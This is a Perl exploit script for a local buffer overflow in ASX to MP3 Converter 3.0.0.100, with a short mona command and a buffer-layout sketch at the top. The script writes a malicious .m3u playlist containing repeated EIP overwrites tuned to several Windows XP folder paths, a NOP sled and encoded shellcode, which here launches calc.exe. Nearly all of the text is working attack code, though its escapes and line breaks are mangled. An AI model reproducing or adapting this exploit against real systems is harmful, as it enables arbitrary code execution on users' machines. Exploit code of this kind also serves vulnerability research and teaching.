C：Documents and Settings  Administrator  Desktop  asx2mp3.m3u

!mona find -type instr -s "call ebx"

JUNK（A's）+ EIP + JUNK（A's）+ EIP + JUNK（As）+ EIP .. + NOPS + SHELLCODE + FILL

#!/usr/bin/perl ###################################################################### # Exploit Title: ASX to MP3 Converter 3.0.0.100 (.m3u) - Local BOF # Date: 11-16-2013 # Exploit Author: Mike Czumak (T_v3rn1x) -- @SecuritySift # Vulnerable Software: ASX to MP3 Converter 3.0.0.100 # Software: http://www.mini-stream.net/asx-to-mp3-converter/download/ # Tested On: Windows XP SP3 # Credits: Older versions found to be vulnerable to similar bof # -- http://www.exploit-db.com/exploits/8629/ ###################################################################### my $buffsize = 50000; # sets buffer size for consistent sized payload # the application incorporates the path of the m3u file in the buffer # this can hinder successful execution by changing the offset to eip # to make this more reliable, we'll create a buffer w/ several offsets # to potential file locations (desktop, my music, my playlists, etc) # if the m3u file is placed in any of these locations it should work # if the m3u file is saved in root dir (c:, z:, etc) eip offset = 26121 # we can use that value to calculate other relative offsets based on file path length my @offsets = ( 'C:Documents and SettingsAdministratorMy DocumentsMy MusicMy Playlists', # offset at 26049 'C:Documents and SettingsAll UsersDocumentsMy MusicMy Playlists', # offset at 26056 'C:Documents and SettingsAdministratorMy DocumentsMy Music', # offset at 26062 'C:Documents and SettingsAll UsersDocumentsMy Music', # offset at 26069 'C:Documents and SettingsAdministratorDesktop', # offset at 26076 'C:Documents and SettingsAll UsersDesktop', # offset at 26080 'C:'); # offset at 26121 my $eip = pack('V', 0x7c9f38f6); # call ebp C:WindowsSystem32SHELL32.dll $i = 0;foreach (@offsets) {$curr_offset = 26121 - (length($_)) + 3; # +3 for shared "c:"   $prev_offset = 26121 - (length($offsets[$i-1])) + 3;if ($i eq 0){  # if it's the first offset build the junk buffer from 0  $junk = "x41" x $curr_offset;# append the eip overwrite to the first offset  $offset = $junk.$eip } else {# build a junk buffer relative to the last offset  $junk = "x41" x (($curr_offset - $prev_offset) - 4);# append new junk buffer + eip to the previously constructed offset  $offset = $offset.$junk.$eip;}$i = $i + 1; # increment index counter }my $nops = "x90" x 21400; # offset to shellcode at call ebp # Calc.exe payload [size 227] # msfpayload windows/exec CMD=calc.exe R | # msfencode -e x86/shikata_ga_nai -c 1 -b 'x00x0ax0dxff' my $shell = "xdbxcfxb8x27x17x16x1fxd9x74x24xf4x5fx2bxc9" . "xb1x33x31x47x17x83xefxfcx03x60x04xf4xeax92" . "xc2x71x14x6ax13xe2x9cx8fx22x30xfaxc4x17x84" . "x88x88x9bx6fxdcx38x2fx1dxc9x4fx98xa8x2fx7e" . "x19x1dxf0x2cxd9x3fx8cx2ex0exe0xadxe1x43xe1" . "xeax1fxabxb3xa3x54x1ex24xc7x28xa3x45x07x27" . "x9bx3dx22xf7x68xf4x2dx27xc0x83x66xdfx6axcb" . "x56xdexbfx0fxaaxa9xb4xe4x58x28x1dx35xa0x1b" . "x61x9ax9fx94x6cxe2xd8x12x8fx91x12x61x32xa2" . "xe0x18xe8x27xf5xbax7bx9fxddx3bxafx46x95x37" . "x04x0cxf1x5bx9bxc1x89x67x10xe4x5dxeex62xc3" . "x79xabx31x6axdbx11x97x93x3bxfdx48x36x37xef" . "x9dx40x1ax65x63xc0x20xc0x63xdax2ax62x0cxeb" . "xa1xedx4bxf4x63x4axa3xbex2exfax2cx67xbbxbf" . "x30x98x11x83x4cx1bx90x7bxabx03xd1x7exf7x83" . "x09xf2x68x66x2exa1x89xa3x4dx24x1ax2fxbcxc3" . "x9axcaxc0";my $sploit = $offset.$nops.$shell;my $fill = "x43" x ($buffsize - (length($sploit))); # fill remainder my $buffer = $sploit.$fill; # build final buffer # write the exploit buffer to file my $file = "asx2mp3.m3u";open(FILE, ">$file"); print FILE $buffer;close(FILE); print "Exploit file created [" . $file . "]n"; print "Buffer size: " . length($buffer) . "n";